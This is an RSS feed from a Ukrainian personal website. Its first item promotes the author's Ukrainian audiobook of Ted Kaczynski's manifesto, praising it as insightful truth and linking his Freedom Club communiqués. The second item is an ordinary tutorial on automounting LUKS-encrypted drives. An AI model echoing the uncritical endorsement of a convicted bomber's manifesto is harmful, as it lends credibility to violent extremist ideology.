<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
	<title>Вебсайт Сашка Мілюхіна</title>
	<link>https://miliukhin.xyz/</link>
	<description>Recent content on Вебсайт Сашка Мілюхіна</description>
	<generator>Hugo -- gohugo.io</generator>
	<language>uk-UA</language>
	<lastBuildDate>Mon, 13 Oct 2025 13:22:53 +0300</lastBuildDate>
    
        <atom:link href="https://miliukhin.xyz/index.xml" rel="self" type="application/rss+xml" />
	
	
	<item>
		<title>Індустріальне Суспільство та його Майбутнє - Тед Качинський [Аудіокнижка]</title>
		<link>https://miliukhin.xyz/unabook/</link>
		<pubDate>Mon, 13 Oct 2025 13:22:53 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/unabook/</guid>
		<description>&lt;style&gt;
ul {
	list-style: none;
	padding: 0px;
}
&lt;/style&gt;

&lt;figure
	 style=&#34;max-width: 250px;&#34;&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/anibomber.webp&#34; width=&#34;250px&#34;&gt;&lt;/figure&gt;

&lt;div style=&#34;text-align: center;&#34;&gt;
&lt;p&gt;&amp;ldquo;Індустріальне Суспільство та його Майбутнє&amp;rdquo; - це надзвичайно проникливе есе про згубний вплив
індустріально-технологічного прогресу на людське суспільство.
Воно повне жорсткої незручної правди і з кожним прибільшенням сваволі &amp;ldquo;еліти&amp;rdquo;, яка володіє щоразу все більш інтрузивною технологією, усе більш актуальне.&lt;/p&gt;
&lt;p&gt;На цій сторінці я розмістив свою редакцію тексту та запис аудіокнижки на його основі,
які ви можете скачати нижче.&lt;/p&gt;
&lt;h2 id=&#34;завантажити-аудіокнижку-та-текст&#34;&gt;Завантажити аудіокнижку та текст:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;🗃️ &lt;a href=&#34;https://miliukhin.xyz/unabook/Ted_Kaczynski_-_Industrial_Society_and_its_Future_-_UKR.zip&#34;&gt;Архів ZIP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;🌐 &lt;a href=&#34;https://miliukhin.xyz/unabook/Ted_Kaczynski_-_Industrial_Society_and_its_Future_-_UKR.torrent&#34;&gt;Торент-файл (краще)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;📺 &lt;a href=&#34;https://videos.miliukhin.xyz/w/hMhRSYuDTrie8JUKvDz79X&#34;&gt;Дивитись відео зі слайдами&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;І, звісно, &lt;em&gt;обов&amp;rsquo;язково роздавайте торент&lt;/em&gt; після завантаження, щоб файл залишався доступним та інші люди могли завантажити швидше!&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;
📚 Релевантне читання
&lt;/summary&gt;
&lt;ul&gt;
&lt;li&gt;Huxley, A.: &lt;em&gt;&amp;ldquo;Brave New World&amp;rdquo;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Ellul, J: &lt;em&gt;&amp;ldquo;The Technological Society&amp;rdquo;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Kaczynski, T.: &lt;em&gt;&amp;ldquo;Technological Slavery&amp;rdquo;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://theanarchistlibrary.org/library/ted-kaczynski-the-communiques-of-freedom-club-ted-kaczynski.pdf&#34;&gt;Kaczynski, T.: &lt;em&gt;&amp;ldquo;The Communiques of Freedom Club&amp;rdquo;&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://exlibris.org.ua/&#34;&gt;https://exlibris.org.ua/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;details style=&#34;text-align: left; max-width: 400px; margin: auto&#34;&gt;
&lt;summary style=&#34;text-align: center;&#34;&gt;🕰️Показати Таймкоди&lt;/summary&gt;
&lt;p&gt;00:00:00 - Про автора та твір &lt;br&gt;
00:12:46 - Вступ &lt;br&gt;
00:15:52 - Психологія сучасного лівацтва &lt;br&gt;
00:18:02 - Меншовартість &lt;br&gt;
00:28:00 - Надсоціалізація &lt;br&gt;
00:37:23 - Потуга &lt;br&gt;
00:39:46 - Сурогатна діяльність &lt;br&gt;
00:45:30 - Автономність &lt;br&gt;
00:47:51 - Джерела соціальних проблем &lt;br&gt;
00:56:52 - Руйнування потуги в сучасному суспільстві &lt;br&gt;
01:12:20 - Як деякі люди пристосовуються &lt;br&gt;
01:20:06 - Мотиви вчених &lt;br&gt;
01:24:42 - Сутність волі &lt;br&gt;
01:31:15 - Деякі принципи історії &lt;br&gt;
01:37:55 - Індустріально-технологічне суспільство не може бути реформоване &lt;br&gt;
01:40:30 - Обмеження свободи неминуче в індустріальному суспільстві &lt;br&gt;
01:49:46 - Погані властивості технології не можуть бути відділені від її &amp;ldquo;гарних&amp;rdquo; властивостей &lt;br&gt;
01:53:56 - Технологія є більш могутньою суспільною силою, ніж прагнення до волі &lt;br&gt;
02:06:04 - Простіші соціальні проблеми виявилися нездоланними &lt;br&gt;
02:09:40 - Революція легша за реформу &lt;br&gt;
02:12:10 - Контроль людської поведінки &lt;br&gt;
02:29:44 - Людство на роздоріжжі &lt;br&gt;
02:35:39 - Людське страждання &lt;br&gt;
02:41:04 - Майбутнє &lt;br&gt;
02:50:22 - Стратегія &lt;br&gt;
03:13:21 - Два види технології &lt;br&gt;
03:18:10 - Небезпека лівацтва &lt;br&gt;
03:34:56 - Останнє зауваження &lt;br&gt;&lt;/p&gt;
&lt;/details&gt;
&lt;p&gt;Укладення та запис цієї книжки вкрали в мене значно більше часу, ніж я очікував. Незважаючи на це, як і всі інші матеріали на цьому сайті, я її викладаю без жодних пейволів. Якщо ж ви хочете віддячити мені за пророблену працю, то ви знаєте, &lt;a href=&#34;https://miliukhin.xyz/donate/&#34;&gt;як це можна зробити&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
</description>
	</item>
	
	<item>
		<title>crypttab, udev: Автомонтуєм Шифровані Диски</title>
		<link>https://miliukhin.xyz/articles/luks-automount/</link>
		<pubDate>Sun, 24 Aug 2025 01:37:00 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/luks-automount/</guid>
		<description>&lt;p&gt;Насправді це відео. Але в мене були деякі нотатки, а також я подумав, що буде чотко поділитись текстом скриптів, тому тримайте цю сторінку як бонус.&lt;/p&gt;
&lt;iframe src=&#34;https://youtu.be/embed?v=_UvwJswCc5E&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;p&gt;Звісно, для цього нам потрібен зашифрований диск. Зробити такий дуже просто:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cryptsetup luksFormat /dev/sdx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Після цього ми можемо &amp;ldquo;відкрити&amp;rdquo; наш новозашифрований диск і створити на ньому файлову систему:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cryptsetup open /dev/sdx dock
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mkfs.ext4 /dev/mapper/dock
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Детальніше відео про базове шифрування дисків: &lt;a href=&#34;https://videos.lukesmith.xyz/w/qxMiq53aTieALZwumuxG6G&#34;&gt;https://videos.lukesmith.xyz/w/qxMiq53aTieALZwumuxG6G&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pro tip: Перед шифруванням запишіть весь диск потоком з &lt;code&gt;/dev/random&lt;/code&gt;, щоб неможливо було зрознути, скільки місця зайнято зашифрованими даними (якщо це звісно не SSD, на &lt;a href=&#34;https://unix.stackexchange.com/questions/593181/is-shred-bad-for-erasing-ssds&#34;&gt;SSD такого роду маніпуляції безрезультатні&lt;/a&gt;). Також можна створити файл на вже зашифрованому диску, і в цей файл записати &lt;code&gt;/dev/null&lt;/code&gt; . Це може бути швидше і матиме приблизно той же результат, бо так весь диск запишеться шифрованими даними.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;монтаж-при-старті&#34;&gt;Монтаж при старті&lt;/h2&gt;
&lt;p&gt;Відкривши наш шифрований диск та ввівши &lt;code&gt;lsblk -f&lt;/code&gt;, побачимо його UUID в зашифрованому та розшифрованому вигляді.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sdx           crypto_LUKS                   22f56a84-1f23-49ef-9be4-29da93630e5b
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;└─dock        ext4                          7f717c18-72b1-4163-9a79-c3c7443b3bfb    1.2T    26% /media/dock
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Перший UUID (самого диску) вставляємо в crypttab у другу колонку:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dock            UUID=22f56a84-1f23-49ef-9be4-29da93630e5b       /etc/dockdrive.key      nofail
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Третя колонка&amp;mdash;пароль або в нашому випадку ключфайл, яким ми будем відмикати цей диск. Четверта&amp;mdash;різні опції, тут вписана nofail, щоб запуск системи не припинявся, якщо цей диск не буде виявлений чи розшифрований. Перша колонка&amp;mdash;ім&amp;rsquo;я, яке буде дане диску після розшифрування.&lt;/p&gt;
&lt;p&gt;Ключфайл може бути будь-яким файлом. Я люблю генерувати їх таким чином:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dd if=/dev/random of=/etc/dockdrive.key bs=512 count=4 iflag=fullblock
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo chmod 600 /etc/dockdrive.key
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cryptsetup luksAddKey /dev/sdx /etc/dockdrive.key
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Але простіше просто ввести в &lt;code&gt;/etc/crypttab&lt;/code&gt; пароль до диску замість шляху до файлу.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Якщо ключфайл/пароль зберігається на незашифрованому диску, то в такому шифруванні нема змісту!
Щоб зашифрувати свій системний диск можете керуватись цією &lt;a href=&#34;https://wiki.artixlinux.org/Main/InstallationWithFullDiskEncryption&#34;&gt;інструкцією&lt;/a&gt; (а для повного шифрування диску&amp;mdash;&lt;a href=&#34;https://unixdigest.com/tutorials/real-full-disk-encryption-using-grub-on-artix-linux-for-bios-and-uefi.html&#34;&gt;цією&lt;/a&gt;) або глянути &lt;a href=&#34;https://videos.lukesmith.xyz/w/n1cMQYYzwPoegM2oXfz2iC&#34;&gt;відео&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Коли наш crypttab спрацьовує, з&amp;rsquo;являється мапування &lt;code&gt;/dev/mapper/dock&lt;/code&gt; з UUID 7f717c18-72b1-4163-9a79-c3c7443b3bfb, і вже за цим UUID ми можем монтувати диск у &lt;code&gt;/etc/fstab&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;UUID=7f717c18-72b1-4163-9a79-c3c7443b3bfb	/media/dock	ext4	auto,nofail,noatime,rw,user	0 0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;udev&#34;&gt;Udev&lt;/h2&gt;
&lt;p&gt;Для автомонтажу при під&amp;rsquo;єднанні можна прописати такі правила:&lt;/p&gt;
&lt;p&gt;/etc/udev/rules.d/luksmount.rules:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ACTION==&amp;#34;add&amp;#34;, ENV{ID_FS_TYPE}==&amp;#34;crypto_LUKS&amp;#34;, ENV{ID_FS_UUID}==&amp;#34;22f56a84-1f23-49ef-9be4-29da93630e5b&amp;#34;, RUN+=&amp;#34;/home/sasha/.local/bin/cryptmount %E{ID_FS_UUID} dock&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;/home/sasha/.local/bin/cryptmount:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;uuid&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;cryptid&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$2&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;cryptpath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/dev/mapper/&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptid&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;mountpoint&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/media/&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptid&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;keyfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/etc/dockdrive.key&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -e &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptpath&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptpath&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; already exists, skipping unlock.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    sudo cryptsetup open &lt;span class=&#34;s2&#34;&gt;&amp;#34;/dev/disk/by-uuid/&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$uuid&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; --key-file &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$keyfile&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptid&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -e &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptpath&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	sudo mount &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptpath&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$mountpoint&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Failed to mount &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptpath&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class=&#34;p&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;/etc/udev/rules.d/luksumount.rules:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ACTION==&amp;#34;remove&amp;#34;, ENV{ID_FS_TYPE}==&amp;#34;crypto_LUKS&amp;#34;, ENV{ID_FS_UUID}==&amp;#34;22f56a84-1f23-49ef-9be4-29da93630e5b&amp;#34;, RUN+=&amp;#34;/home/sasha/.local/bin/cryptumount dock&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;/home/sasha/.local/bin/cryptumount:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;mountpoint&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/media/dock&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;lsblkoutput&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;lsblk -nrpo &lt;span class=&#34;s2&#34;&gt;&amp;#34;name,type,size,mountpoint&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;cryptid&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$lsblkoutput&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; grep &lt;span class=&#34;s2&#34;&gt;&amp;#34;/&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;mountpoint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;#*/&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;$&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;cryptid&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;cryptid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;%% *&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;cryptid&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;dock&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;cryptpath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/dev/mapper/&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptid&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo umount &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$mountpoint&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -e &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptpath&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	sudo cryptsetup close &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cryptid&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
	</item>
	
	<item>
		<title>Реальні рокери не юзають гітарні плагіни</title>
		<link>https://miliukhin.xyz/articles/guitar-plugins-are-for-nerds/</link>
